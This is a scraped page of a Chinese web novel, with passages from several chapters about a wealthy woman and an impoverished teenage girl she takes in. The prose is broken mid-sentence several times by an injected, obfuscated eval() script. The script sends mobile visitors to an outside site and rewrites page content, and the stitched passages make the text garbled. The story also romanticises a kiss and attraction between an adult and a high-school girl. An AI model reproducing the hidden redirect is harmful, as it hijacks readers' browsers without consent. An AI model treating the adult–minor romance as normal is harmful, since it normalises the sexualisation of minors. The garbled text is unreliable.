她锁着她,倒害她没办法长高。 奶奶松开手,抓起周灵蕴脖子上挂的毛巾给她擦头发,“你跟那个大老板处得咋样?” 周灵蕴一说起姜悯就满脸害羞,她眼睛湿湿亮亮的,“姜老板对我可好,今天还牵我手,就刚刚,我下班,她牵着我回来的。” 奶奶“嗯”一声,手摸到她的脸,粗糙的大拇指轻轻刮了刮。 周灵蕴笑,“有点痒。” 奶奶又问她上班上得咋样。 周灵蕴笑容消失得彻底,“就是干活呗,还能咋样。” “有没人欺负你?”奶奶看着她。 周灵蕴摇头,“大家都在干活,忙得很,事情多得做都做不完,谁有空欺负我。”除个别不需要干活的。 奶奶仍是静静看她。 周灵蕴不自在扭动身体,“睡觉了,我瞌睡来了。” “你上姜老板那屋睡吧。”奶奶说。她说姜老板喜欢你,愿意拿你当朋友,跟你玩,咱家没钱没势,无以为报,她晚上无聊不好睡,你陪她说说话。 “你话多,你们老师说,你一天到晚嘴巴闲不住,还偷偷传纸条。” 周灵蕴一下怒了,“我哪有!是那个纪律委员跟我有仇,她老乱记我的名字。而且我根本没得罪过她,是万玉,她们关系不好,我跟万玉玩得好嘛,她整不过万玉,就整我。” “看嘛看嘛,说你一句你有十句等着。”奶奶给她头发擦个半干,“去找你那个大老板,她愿意听你叽呱。” 姜老板真的愿意听我叽呱吗?周灵蕴咧开嘴角,“她好像是有点喜欢我的。” 门缝里挤进颗脑袋,像从铁围栏外长进来的一朵向日葵,那抹鲜亮的色彩实在难以忽视。 姜悯视线聚焦,“陪我睡觉?” 周灵蕴见她并无愠色,胆子大了些,轻巧地滑进屋,回身小心翼翼合拢门,走到床前,“你无聊吗?我给你讲笑话听。” 谁要听笑话,上句还没掰扯清楚呢。“睡什么觉?”姜悯目光警惕,谷香岚女士声声质问耳边回响。 ——“你心理扭曲,你是变态啊?” 周灵蕴双手合十垫在腮边,歪头,“就是睡觉呀。” 小模样还怪可爱。 姜悯手指揪紧沙发扶手,“哦哦,什么笑话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜悯居高临下,被角处女孩露出半个小巧圆润的肩,长发虚掩着,随呼吸微微地颤。 房间熏香气味冷冽疏离,无形的屏障划分出她的独属空间,此刻却被无声渗透、融化。陌生气息丝缕缠绕,霸道入侵,像太阳晒化的麦芽糖,满是阳光烘烤谷物后的温暖醇香。 并不浓烈,却极具存在感。 21.第 21 章 周灵蕴实在太累了,撑到姜悯回房已经是极限,来不及跟她道声晚安,头一歪眼一闭直接睡死过去。 这种累跟平时干农活不一样,她心里一点没觉得轻松,整颗心像浸饱了水的海绵,不需得使力拧,走两步就“嗒嗒”往下滴,对命运无声的屈服和不甘,湿透眼眶和袖口。 要一辈子都这样吗?以后真的会好吗?长大就能变好吗?奶奶还有机会看到吗? 好多好多的问题,沉沉坠挂心头,无解。 她需要一场彻底的睡眠,暂时躲避现实的残酷和无能为力。 姜悯从不觉得自己是个好脾气,但也没有差到把人晃醒,连被带枕地丢出去。 小孩说陪她睡觉,她没当回事,谁知这家伙的边界感几日相处下来已完全消磨,把自己安顿挺好,怀里抱着半截被角,睡得香。 姜悯性格独立,不喜与人共枕,幼崽期,谷香岚忙完回家,进房间缠着要给她讲故事,她表现得很不耐烦,一个劲儿把人往外推,说“你幼不幼稚”。 当妈的如遭雷击,瞪眼指着自己鼻尖,“我幼稚?成我幼稚了?” 姜悯过于冷漠,谷香岚女士走投无路,给她起个小名叫黏黏。 结果这个“黏”字一点没作用到她身上,用姜悯自己的话说,倒把她变成块粘虫板,什么苍蝇蚊子都往她身上贴。 姜悯捏捏眉心,沉了口气,拿上手机走出房间。 山里的夜很静,无边深邃的黑激发出人类最原始的恐惧,好像还生活在洞穴,要警惕毒蛇和野兽。 众人习惯早睡,客厅只余踢脚线处几盏白色感应灯,姜悯慢慢朝着目标走去,打算在沙发将就一晚。 姜悯大概能猜到谷香岚跟老太太在房间说了什么,才导致周灵蕴去而复返,捏着发梢羞答答跑来“侍寝”,还给她讲笑话。 但姜悯不想当变态。 手机屏幕光微弱,姜悯无聊刷新页面,购物软件根据她最近兴趣偏好继续推送少女内衣,不再是她往常钟爱的暗调,色彩斑斓好像有彩虹糖小人满屏跳舞。 款式都蛮漂亮的,“纯棉”、“柔软”此类字眼像小猫爪子有一下没一下挠,惹人心痒,姜悯不知不觉又下单许多。 回神,姜悯放下手机,扶额一声长叹。恰在此时,忽感腿边有异动,她顿时警惕,极为迅速打开手机电筒。 周灵蕴半跪在地毯,被光刺得睁不开眼,本能抬手遮挡。 她半梦半醒,话音微哑,带着少女独有的黏腻,“你怎么跑这里来了。” 姜悯倒没那么容易被吓到,看清她,“你又跑出来干什么?” “我等你,你不来,我都不敢睡。”周灵蕴心里一直牵挂着,睡去又醒来,眼睛不时撩开条缝瞄,“我明明看到你回来了,一下又不见,我就出来找。” 她身体前倾,不自觉,双手左右圈住了姜悯的腰,“姜老板,你是不是嫌弃我啊?才不想跟我睡。” 她很伤心,“你今天还牵我呢?” 姜悯扔开手机,抬臂捂住脸。 这是干嘛?! “你不想跟我睡,那我睡沙发好了。”周灵蕴缩回胳膊,手机电筒朦胧光影下,小受气包样儿坐在地毯。 “回房间。”姜悯当机立断。 深更半夜,她不想吵醒家人,再说叫人看见像什么样子! 并肩躺在房间的大床,台灯光照得周灵蕴脸蛋毛绒绒,她捏着被角,瞌睡醒了大半,睁眼忧心忡忡望着天花板,“姜老板,你真的不喜欢我吗?” 姜悯小臂盖住眼睛,实在不想回答。 是,是她心理变态,她恶心,她脏,周灵蕴的话很容易就想歪。 等不到回答,周灵蕴转过脸,见身边人姿态抗拒,委屈嘟嘟嘴巴,掀开被子,“那我还是去沙发上睡好了。” “给我站那。”姜悯终于出声,刻意压低了调子,“你不困是吧?明早还上不上班了。” 周灵蕴腿伸到一半,挂在床沿,是很困,很累,所以皱着鼻子,有小脾气了。 “回来。”姜悯拍床,“躺好。” 周灵蕴扭过半边身子,“那你让我抱下。” “什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人生的容错率是很高的。 那些曾让她如临深渊的时刻:课后被老师单独留堂、卷末没解出的几道大题、拼写本上刺眼的红叉,不知掉哪儿的一支心爱的钢笔…… 彼时,只觉天崩地裂,胸腔擂着鼓,手心沁着汗,仿佛一步踏错便是万劫不复。 回望,时光的流水温柔抚平尖利,记忆的沙床青石圆润。 除了生死,皆是微尘。 但周灵蕴不懂。她还是个未经事的孩子,而老人步履蹒跚,背影佝偻,虚弱匍卧在原地,不能再继续引领。 她走出家门,被生活无形的长鞭驱赶到大路上,茫然四顾,不知该去向何方,犹犹豫豫,随着人流一步三回头。 她心焦如焚,好像今天少赚一个铜板,明天奶奶就得饿肚子;多睡一刻懒觉,天就要塌下来砸破她摇摇欲坠的家。 饭桌上,她把咬去半截的虾仁埋到碗底,想带回家给奶奶尝鲜,众目睽睽下又实在臊得慌,犹豫半晌,还是刨出来吃了。 她惶恐极了,她一定得做些什么,哪怕只图个心安。 她与“她”,不单是容貌的相似。 多少次午夜梦回,那瘦削背影决绝如刀,崖口处纵身一跃,没有一丝犹豫,像一道闪电撕裂晴空,迅疾而猛烈。 姜悯来不及发出一声惊呼,手臂僵垂,指尖徒劳抓捏,只触到冰冷的空气和迟滞的风。 在之后的半分钟,所有人失去反应,如木雕泥塑,呆呆望着没有“她”的那块青褐的山石,直到同行的旅客大喊道——“有人跳崖了!” 世界轰然重启,长辈撕心裂肺的哭喊灌进耳朵。 姜悯后来时常在想,如果当时拉她一把,仅仅是牵住她飘飞的裙角…… 她想拉她一把。 周灵蕴这一觉睡得很好。她半梦半醒,身体似乎陷入云朵,心里有事牵挂着,具体想不起,只觉身体懒洋洋,脑袋晕乎乎,风推着云絮漫无目的飘荡,她亦随之浮沉,无所谓去处。 姜悯进房间,窗帘拉开条缝,找到床上那个小鼓包,扒出周灵蕴半个毛绒绒的脑袋,“起床吃饭了。” 床铺柔软得不可思议,被窝里是她贪恋的馨香。周灵蕴艰难掀开半拉眼皮,手脚绷直,结结实实伸了个懒腰,哼唧几嗓,她翻身抱住被子,“天亮了吗?” 姜悯没应声,径自打开衣柜翻找,“买的内衣还没到,我记得有件吊带,你穿里边,干活要是觉得热,外套脱了也没事……” 照顾小孩,她无师自通,进步神速,处处体贴周到。 周灵蕴脸蛋贴在枕头,“好舒服啊,好不想起床啊。” 她一阵唉声叹气,慢吞吞爬起,“真的好软好软,我从来没有睡过那么舒服的床。” 姜悯翻出条洗缩水的运动裤,“这个长度对你来说正好。” 而姜悯的细致不止体现在衣食。周灵蕴洗漱时没在盥洗台看到她的手表,走到客厅,抬头望向钟表方向,那处竟也空空。 家里没人,只有阿姨在厨房忙活,周灵蕴去房间找奶奶,阿姨说老太太一大早就上山了。 “说要回去喂猪。” 周灵蕴闻到沸锅里飘出的肉馄饨香气,本来要问时间的,肚子咕噜几声,给忘了。 外头天阴着,瞧不见太阳,昨晚偷偷下了场雨,地面湿漉漉,姜悯说不着急,慢慢溜达过去,周灵蕴估摸时间还早,也不急。 进厂房,老远闻到饭菜油荤气,周灵蕴心中顿觉不妙,加紧几步跑到板房门口。 老板一家三口正围坐小方桌吃饭,那孩子扭头看见她,立即端着饭碗蹿出来,喊着“来了来了”,嘴里米饭噗噗直往外喷。 他又旋风似冲回屋,冲着爹妈嚷嚷:“她来了她来了!” “两位老板好。”周灵蕴浅浅鞠躬。 姜悯站在周灵蕴身边,不说话,只是对她的卑微和谄媚略微不爽地眯起眼睛。 “二小姐又来体验生活了。”女人也端着饭碗出来,竹筷轻敲碗边,甩开一片辣椒皮。 “二小姐用饭了没。”男人笑眯眯抿口酒。 周灵蕴摇头,不接受这个称谓,拉着姜悯跑到一边,“我上班了,谢谢姜老板送我上班,你快回去忙工作吧。” “好,我下午来接你。”姜悯道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她双手合十,虔诚如祷佛,“姜老板,你是好人,大善人,娃娃可怜的,没爹没娘,你带她走嘛,当养个猫儿狗儿,给口饭吃,饿不死就行了,你是好人的嘛,你给条生路……” 23.第 23 章 为了周灵蕴,这位风烛残年的老人,已两次屈下膝盖,额头触地。 第一次,在茶厂办公室,姜悯未能亲见,只从人事经理模糊言辞中拼凑出大概轮廓。 第二次,在她家门口,她面前,清晰不容回避。 “咚”一声,老人膝盖骨发出黑瓦片掉地时的脆响,姜悯心也紧跟着碎成几片。纵然她向来自诩强大冷漠。 老人喋喋不休重复:“给条生路”、“当个猫儿狗儿养”、“她不白吃”、“能干活”…… 阿姨惊呼着上前搀扶,老人强硬推离,身体折叠,以额触地,发出沉重闷响。 姜悯知道阻拦是徒劳的。她只有些好奇,如果周灵蕴亲眼看到这一幕,心中是何感想? 那么倔,那么要面子一小孩。 姜悯从不否认自己心底的卑劣。 “我很喜欢周灵蕴,我之所以对她产生特别关注,愿意照顾她,肯向她提供帮助,是因为她长得很像我小时候一位朋友。可惜,那位朋友十年前就离开人世了。” 姜悯得把这些明明白白告诉她们,她的仁慈是有条件的。 “我想带她离开,给她提供好的生活,好的教育,您完全可以理解为这是对我少女时代遗憾的一种弥补,但周灵蕴是个很有主意的孩子,我看得出来。她坚强、勇敢,我欣赏她身上一切优秀品质,可我需要一个听话的孩子,我不喜欢也绝不会强人所难。” 姜悯最终表示“收下”。阿姨默默上前,麻袋搬运至储藏室。 老人一言不发,艰难从地面爬起,蹒跚走出别墅高大的雕花铁门。她背影消失在拐角,树下黄牛焦躁扯动绳索,发出悠长的哀鸣。 周灵蕴以为今天可以混过去的。 晚饭前老板要是还没回,她偷偷溜走,先回家安抚奶奶,让奶奶别再下山来接她。 关于工作时长,老板一家不好说话,她也不敢搞特殊,下次把家里手电带出来好了,回家的路她熟得很。阿姨就会吓唬她,哪儿有那么多野猪。 周灵蕴跑出来上厕所,蹲在那捏着鼻子盘算好,起身回头冲水,开门打算走出去,却发现门好像卡住了。 她用力推了几下,没推开,疑惑间,一声低笑从门外传来。 周灵蕴心里“咯噔”一下,那个小恶魔竟然回来了! 怎么会,不是赶集去了吗? 周灵蕴一时反应不及——人的两条腿跟车不能比,她没有过搭车去镇上赶集的经历。 厕所简易,几块空心砖架高,安的蹲便器和抽水箱,三面塑钢板外加一扇生锈的铁栅门,遮挡仅是几片装米的破麻袋,用扎带捆束在四周。 周灵蕴撕开风化发脆的麻袋一角,伸头往外看,并没有重物抵在门前,她伸手往外摸,尝试打开。 “你出不来。”小孩得意宣告。 周灵蕴摸到一把冰冷的大锁,那种带个半环的黄铜锁。 “你干嘛关我啊,我要去干活的。”她朝外喊。 “你陪我玩。”小孩挺着肚子说,手里拿把集上买的塑料大砍刀。 “我可以陪你玩啊,但你要让我出去。”周灵蕴把麻袋口撕大些,四处张望,希望有人经过。 小孩扔开砍刀,跳上来,热心帮她一起撕麻袋。 “是谁弄的锁呀,你看见了吗?他可能不知道里面有人。”心头一丝荒谬的希望,周灵蕴好声好气哄,“你帮我去厂里喊个大人好吗?让他们放我出去。” 碎麻袋堆得一地,只剩个光铁门架子,周灵蕴支着脖子瞅了半天,为避免污染,厕所修得有点远,外头半天不见人经过。 喊也是没用的,厂里噪音大得很。 “好了。”小孩退后几步,拍拍手。 “帮我喊人。”周灵蕴两手攀着铁门。 小孩摇头,脸上露出狡黠的笑。 他绕到一边,拖来一根长长的塑料软管,回到门前冲着周灵蕴咧嘴一笑,露出一排森白的小齿,“我要帮你洗澡。” 他说,你今天没有雨衣喽—— 心彻底凉透,周灵蕴早知道会这样。 她时常感觉自己有种残忍的预知能力,或许是经历了太多艰难和不幸,对恶意有着野兽般的直觉。 这份预感几乎从不失约,此刻再一次成为冰冷的现实。 水柱激打在面颊,周灵蕴毫无防备,她本能捂住刺痛的左眼,迅速背过身去。 对方有备而来,她是困在铁笼里的猎物,毫无还手之力,她唯一能做的,是用自己单薄的脊背默默承受、抵挡,等待施暴者疲惫厌倦。 小孩捏着水管半挂在铁门上,“你今天没有雨衣喽——” 冰水灌顶,顺着脖子流进胸口,周灵蕴很快湿透,她蹲下去,蜷缩成更小更紧的一团。 她打不开这扇铁门,她知道反抗无用,也不必花费力气同他争吵。 她习惯了,从小就习惯了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798003|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世上,太多她无力改变的事。 她无法让天不落雨,不降雪,手和脚不生水泡、冻疮,不能把家搬到学校附近,不能张开手掌就抓到钱,不能阻挡奶奶一天天无可挽回地衰老…… 她太早被生活教会了一个残酷的真理:弱小即是原罪。 那就承受吧。等他玩够就好,总会结束的。 雨会停,雪会化,伤口会结痂。 她本该习惯的。可为什么……为什么还是有滚烫的液体,不受控制从紧闭的眼眶汹涌而出? 那般炙热的温度,那样浓烈到几乎要将她胸腔撕裂的委屈。 为什么?老天爷!我到底做错了什么?我从未做过任何伤天害理的事啊!他们凭什么,又为什么要这样欺负我?! 终于,周灵蕴听到老人嘶哑颤抖的呼喊。 “周灵蕴!周灵蕴!” 小孩被一只枯瘦却蕴含惊人力量的手掌狠狠扯摔在地。他皱起脸,稚嫩的面庞布满扭曲的横纹,充满一种不符合年龄的狰狞。 他横臂指向老人,尖声哭嚎:“我要告我爸!我要告我爸!” “周灵蕴啊,周灵蕴……” 奶奶大力摇拽铁门,出离愤怒,岁月沉甸甸坠挂两肩,压弯她的小腿,使得她整个几乎要缩到地里去。 她却有那么大的气力!垂耳的白发跟随身体剧烈摇晃,板房发出不堪重负的刺耳呻吟。 囚笼轰然倒下。 “周灵蕴,周灵蕴——”老人已说不出连贯的话语,只是一遍遍呼唤着她的名字。 奶奶一把将周灵蕴拉拽起,脱下身上那件藏蓝色的的确良外套,披在她肩膀,粗糙手掌近乎凶狠擦拭她面颊湿痕。 “你不听话的嘛!”奶奶大声训斥,“你不听话!” 周灵蕴看到奶奶飞舞的发梢,银白,那样凄凉的颜色,她苍老的气息吹拂在脸,细小的口沫溅落眼皮,像烧红的针尖。 我该怎么办呢? 周灵蕴闷闷想,胸口钝痛。她还是搞砸了。 “不听话!”奶奶捶打她后背。 周灵蕴想起小时候,奶奶一遍遍抚摸着她的脸,喊她“乖乖”。 我的乖乖,好乖乖……乖乖宝。 奶奶是她的奶奶,喂她吃饭,给她洗澡,养育她长大,她们之间,还是跟她小时候一样。 “不要骂我了……”放松身体倒靠在奶奶肩膀,周灵蕴“呜呜”低哭,自责得恨不得死去。 50-60 第51章 亭亭楚楚,皓齿星眸 迎面而来, 是少女秀挺的鼻尖,视线骤然变暗,嘴唇覆盖上一层陌生的温软, 姜悯感受到心脏的停滞。 电流荡涤全身,头皮几乎蓬炸开, 她浑身僵硬, 动弹不得。 姜悯的少女时代,也曾在网络文学作品中获取到关于“吻”的各种夸张描写。 她当时只觉得好笑, 小作者们真的有接过吻吗?动不动就触电,变得硬邦邦又软绵绵,心脏快从嗓子眼里跳出来…… 搞笑呢。 就算、就算她们说的是真的,想体会接吻的感觉, 那直接摸电门好了!还费心找什么对象。 眼下,身入其境,她知道,是她肤浅了,傲慢了, 年少轻狂孤陋寡闻了。 如蜻蜓点水, 一触即分, 在周灵蕴往后撤离的那0.01秒内, 姜悯心中竟升起一丝眷恋,几乎控制不住要去抓住她手,央求她别走。 似有心灵感应, 或者说,是察觉到姜悯没有明显抗拒姿态,周灵蕴并未走远。 唇瓣分离,不过寸余, 她再次覆上,无师自通去加深这个吻,笨拙地追咬。 “唔——” 姜悯实在不愿承认,这么不体面的声音是从她嗓眼里冒出来的。 跟一个小她十岁的女高。 起初的僵滞过去,她体会到小说里的“软绵绵”。 她无法站立,如坠云端,身体不受控制朝后仰倒。 她却毫无所惧,她完全放松身体,坚信她会托住她。 果然。 腰部有一条手臂在稳稳承托着她的重量,她是冰块,在亲吻中融化棱角。 逆光,周灵蕴俯身投下的阴影中,终于,理智回归大脑,姜悯喘息着,手掌覆盖上她嘴唇。 “等等……”姜悯紧闭着双眼,深呼吸,平息心跳。 “姐姐——”少女黏软的呼唤。 “你放开我。”姜悯哑声。 扶她站稳,手臂撤离,周灵蕴乖乖站在她面前,两眼亮晶晶,眼底情绪仍沸滚,炙热粘稠。 姜悯撑额,迅速背过身去,蹲到地上。她抿唇,那里还残留着少女的绵甜。 “你……”她的声音好虚弱,几乎连自己都听不见。 “你头晕吗?”周灵蕴蹲到她对面位置,察觉到主人异常,像小猫用湿漉漉的鼻头来拱。 “我扶你进屋。” “不要!”姜悯忽而拔高声调,朝前大力推搡。 周灵蕴不防她突然发难,跌坐在门前地垫。 姜悯抬起头,触及她眼中浓郁的委屈和不解,自责与愤怨同时在心底升起,交织着上涌。 “你干什么?你疯了,有病吧!” 眼底期待的光芒熄灭,周灵蕴垂下眼睫。 挨骂了。 “你吃了熊心豹子胆了,你这是猥亵知道吗?”姜悯用词极端,不堪入耳。 “对不起。”周灵蕴深深垂下头颅。 姜悯倏地起身。 也许是大脑供血不足,也许是气的,她一阵目眩,手扶鞋柜门,闭眼缓了好几秒,才大步从周灵蕴身侧走过。 女人带香的衣角扑打在脸,周灵蕴扭头,目光本能追随。 手心里全是汗,姜悯指纹锁试了好几次才把门打开,她用力跺着脚气冲冲回屋,从客厅一路暴冲至卧室,“咚”一声砸上门,身体摔打在被面。 要死了要死了要死了。 姜悯握拳,恶狠狠捶床,不断捶床。 不是不可以亲,但不应该是现在! 这小孩搞什么啊!胆子忒大了。 让老太太知道算怎么回事?真成童养媳了。 在床上打滚,用被子把自己裹起来,在热烘烘黑漆漆的被窝里,脑海中不断闪现的,却是几分钟前,周灵蕴近在咫尺的脸。 余韵仍在回荡,搅动她五脏六腑,甜蜜与惊悚左右拉扯。着魔。 姜悯好讨厌自己。 因为她并不讨厌周灵蕴的吻。 可她不应该不讨厌。 身上闷出汗,呼吸也不畅,姜悯掀开被子坐起来,打开房间门。周灵蕴卧室就在隔壁,门敞着,灯黑着,人呢? 姜悯屏息凝神,侧耳细听。 四处没动静,客厅灯也没亮,只有从玄关处投来的一片暖白调几何光块。 姜悯走到门口,看见周灵蕴蹲坐在门垫,头抵在鞋柜与墙之间的夹角,肩膀一抽一抽,手臂正抹眼泪。 “还不回家,树桩子似杵那干嘛。”姜悯走过去要扯她。 周灵蕴提前察觉到,往旁边躲了下。 手抓空,姜悯一愣。 “不要碰我——”周灵蕴瓮声瓮气。 “干嘛?”姜悯皱眉。 “我脏。”周灵蕴说。 姜悯起初没反应过来,“哪里脏了。” “嘴巴。”周灵蕴声音闷闷的,“我在学校吃屎了,又跑回家亲你,嘴巴是臭的。” 姜悯扶额,险些昏厥。 现在的中学生,学校里妈和爹,要么就是屎尿屁,说好的德智体美劳呢? “我还没找你算账呢,你先恶心上我了。” 姜悯气得不轻,连连点头,说“行”,“你就在这儿蹲着吧,爱蹲多久蹲多久,蹲到天荒地老,干脆别回来了。” 说完就走,进屋“砰”一声甩上大门。 周灵蕴就真有本事不回屋了,姜悯洗完澡出来,瞧见房间里还空着,打开门一看,她竟靠着书包直接在电梯厅睡了。 姜悯走过去,踹了踹她的屁股。 周灵蕴扭身发怒,“你踹吧,踹死我,看谁给你煮饭,以后你就没吃没喝了!” 紧了紧外套,又威胁说要去公安局,“我告你家暴。” “我家暴?”姜悯指着自己鼻尖,“我还告你……” 她刚才在气头上,口不择言,现在是无论如何也讲不出来了。 落地窗外,城市万千灯火,默然璀璨,不开灯的房间,姜悯独自在沙发上坐了会儿,再起身绕过玄关来到电梯厅,将周灵蕴搀扶起。 “是我说错话了。我不应该那样说你,我用词不当。”姜悯弯腰拍拍她屁股,尽管那里并没有沾染上多少尘埃。 周灵蕴满脸如见鬼。 姜悯哭笑不得,摇头推着她往前走,“早点洗漱完休息吧,明天还得上学呢。” 她会当这件事没发生过。 姜悯面色如常回到自己房间,打开床头小台灯,熄灭头顶大灯,再掀开被子躺进去,拿出手机。 跟舒颖的微信聊天界面,满屏黑绿。 [啊啊啊啊啊啊——] [她亲我了她亲我了她亲我了] [要死了要死了,已经死了一会儿了] [怎么办怎么办怎么办] 舒颖早些时候应该在忙,姜悯还要继续跟她发疯,消息正好弹过来。 [什么感觉?] [我很好奇,真的。] 真的吗?姜悯立即被带歪,出神回味。 [很软,非常软。] [像吃果冻,又像冰淇淋。] [却是热的。] [快爽死了吧。] [姜大老板。] 舒颖字里行间竟有些咬牙切齿意味。 [你没试过吗?]姜悯好奇。 舒颖没应。 [那现在怎么办?] 姜悯服气。 [我问你啊,你问我?] [我怎么知道,我家没养女高。] 舒颖附赠白眼。 真没用啊这女人,另外,她怎么有点酸溜溜的。 “嫉妒我?”姜悯嘀咕。 张口女高闭口女高的。 姜悯没想过要解决,也不知道该如何解决。 周灵蕴说“喜欢她”,那怎么了,她姜悯何许人也,又美又飒,还幽默多金,小女孩不谙世事,天真懵懂,被吸引很正常。 再说,她懂什么?像喜欢小猫小狗那样,亲两口怎么啦! 别小题大做。 姜悯给自己洗脑。 周灵蕴昨晚没睡好。去年一整个冬天,把她捂白,今天刚过去的这个夏天,每日早出晚归也没怎么晒,洗漱台灯光下,她皮肤几乎透明,因此黑眼圈也格外的大而圆。 面巾打湿擦脸,周灵蕴倾身靠拢洗手台,扒拉开眼皮看。 昨晚偷偷哭过,红血丝尚未消退,她对着镜里的自己撇了下嘴角。不开心。 回头看了眼姜悯房门,紧闭着,应该还没起床,周灵蕴梳好头发,回房收拾起书包,准备出门上学。 刚出走廊,她愣住。 姜悯全妆状态,端坐在客厅沙发,目光在她出现的第一时间锁定她,显然早已等候多时。 姜悯是老板,不用打卡上班,她或许会早睡,但从不早起。 今天这是怎么了? 周灵蕴登时警惕,手撑墙面,“你要把我扭送去公安局吗?” 小孩从不藏着掖着,有话就说。 姜悯一时气笑不得,抓来手边一只彩虹小狗,砸向她。 周灵蕴伸手稳稳接住,搂在怀里,朝她迷糊歪了下脑袋。 在姜悯视角,画面的中心点,少女亭亭楚楚,皓齿星眸。 这个家,自她来到,增添许多浓郁色彩。 餐桌一侧墙面是她学校美术课上诞生的数幅抽象画作,搭配不同颜色和材质的画框,远看颇具艺术感。 她动手能力也很强,放假在家无所事事,买黏土来玩,捏了好多奇形怪状的小东西,装上磁铁,晾干涂色后贴在冰箱门。 常去精品店溜达,每次都要带几个娃娃回来,不知不觉,电视柜和沙发上堆了好多…… 荒芜的花园,在她们相识的那个春天,重新焕发出生机,绽放花朵。 “今天是你的生日啊,昨天你不是还跟我要生日礼物来着。” 明知,这是对她的鼓励,正确做法,说是审讯也好,谈判也罢,总归不该是如此表现。可姜悯根本无法控制自己,她对她没办法狠心。 “我跟你们班主任老师请了假,你今天不用去上学,我们出去玩。” “真的?”周灵蕴狐疑眯眼,“不是骗我出门以后,把我丢掉吧。” 暑期恶补《甄嬛传》,她自认闯下了滔天大祸,整夜惴惴不安,担心被发配宁古塔。 这话说得,相处那么久,还没给够她安全感吗? 姜悯心头涌起一阵难过,自顾摇头。 周灵蕴试探朝前迈步,手指点唇,眼里贼光冒,“可是生日礼物,昨晚不是拿到了。”—— 作者有话说:给点阳光就灿烂猫 蔫巴菇垂死病中惊坐起—— 第52章 姜老板,还沉醉呢 ——“可是生日礼物, 昨晚不是拿到了。” 姜悯纵横江湖二十多年,不说神通广大,博物多闻, 商场数年打拼,阅人多矣, 勉强也算老成历练吧! 心湖泛起涟漪, 圈圈跌宕不休,姜悯实在不愿承认, 她被个小孩给撩了。 小她十岁的小孩! 而且、而且…… 该死啊!还真让她撩到了。 “当然,当然,如果你觉得那也可以算作礼物的话,我没问题。”姜悯挺背沉肩, 毫不在意得非常用力。 “你不生气吗?”周灵蕴斜肩将书包放丢在姜悯一侧的单人沙发,在剩余的位置坐下,怀里抱着那只彩虹小狗。 姜悯微笑一耸肩,“为什么要生气。” “你昨晚还说我猥亵你。”周灵蕴提醒。话说得那么难听,害她难过整晚。 “确实。”姜悯闭眼, 点头, “我承认, 我讲话难听, 我口不择言。” 她真诚道歉,下一句“但是”,又转换了语境, “假如是你,好端端走在路上,突然被路边窜出来的一只……” 她下意识想说“狗”,又自顾摇头, 认为不太贴切。周灵蕴更像只原地左右扭屁股,预备跑过来叨你一口的邪恶长毛奶牛。 长毛,会显得柔软,亲近,黏糊,而奶牛猫的神经质是众所周知的。 这是姜悯心中,周灵蕴的动物形态。 “好,我重新说一下我当时感受。比方说你好端端走在路上,突然从树上跳下一只猫,跳到你怀里,在你脸上不轻不重叨一口,然后迅速逃跑,你是不是也很懵呢?然后破口大骂。” 姜悯有在很努力把她往正道上引。 周灵蕴随即陷入思考。 半分钟后,她摇头,给出自己的答案。 “我不会生气欸,猫猫是多么高傲美丽的生物,猫猫主动贴贴,是人类的荣幸,跑来叨人更是要感激不尽,猫猫喜欢你啊,不然怎么不去叨别人呢?是吧。” 说着歪头,咧嘴笑出一排雪白的小牙。 姜悯无言以对。 怎么回事啊,好像说得还挺有道理。 但她不能被洗脑,大力摆臂,“歪理,全是歪理。” “我们学校很多流浪猫,尤其在女生宿舍楼下,她们经常从外面带罐头和猫粮去喂,猫猫喜欢人,才会主动跟人贴贴。” “而且还有一种说法……”周灵蕴竖指,机智道:“猫咪很灵的哦,好人坏人,它们自有分辨。坏人的话,猫猫是绝对不会靠近的。” 姜悯笑了,“那我还得感谢你?谢谢你看得起我,要不要发个红包奖励你啊?” “好啊!”周灵蕴爽快答应。 辩不过她。 姜悯辩不过她。 于是,再一次不禁感慨——现在的小孩,真是不得了,脑瓜太灵光啦! 但姜悯不得不承认,人与人之间,气场微妙,跟周灵蕴在一起,她很放松,她可以畅快做自己。 大概是一开始,周灵蕴就见识过她暴躁刻薄的一面,她在她面前,从来不用伪装,情绪显化鲜明。 直言不讳,肆无忌惮,有屁就放。 没有明确制止周灵蕴的出格,姜悯承认,她有私心。 她孤单得太久,她贪恋这温存。 她没辙地拉起周灵蕴,“书包放回去,换上我给你买的新衣服,我们出去玩。” 一天时间,没办法走太远,就在市郊区的湿地公园,她们今年春天来过,但秋天又是不同的景象。 桂花开了,空气中弥漫着馥郁的芬芳。菊园花类繁多,花瓣精巧卷曲似华丽的裙摆,凑近细致观察上面的纹路,不由感慨自然的神奇之力。 树下有红黄两色的彼岸花,大片,见花不见叶,一旁竖有科普标示,学名叫石蒜,多年生球根植物,全株有毒。 沿河植满高大的梧桐,在数个冷峭的夜晚和薄雾泛起的清晨,悄悄改变了叶子的颜色,随后脱离枝干,悠然而下,并不因离别而伤神。 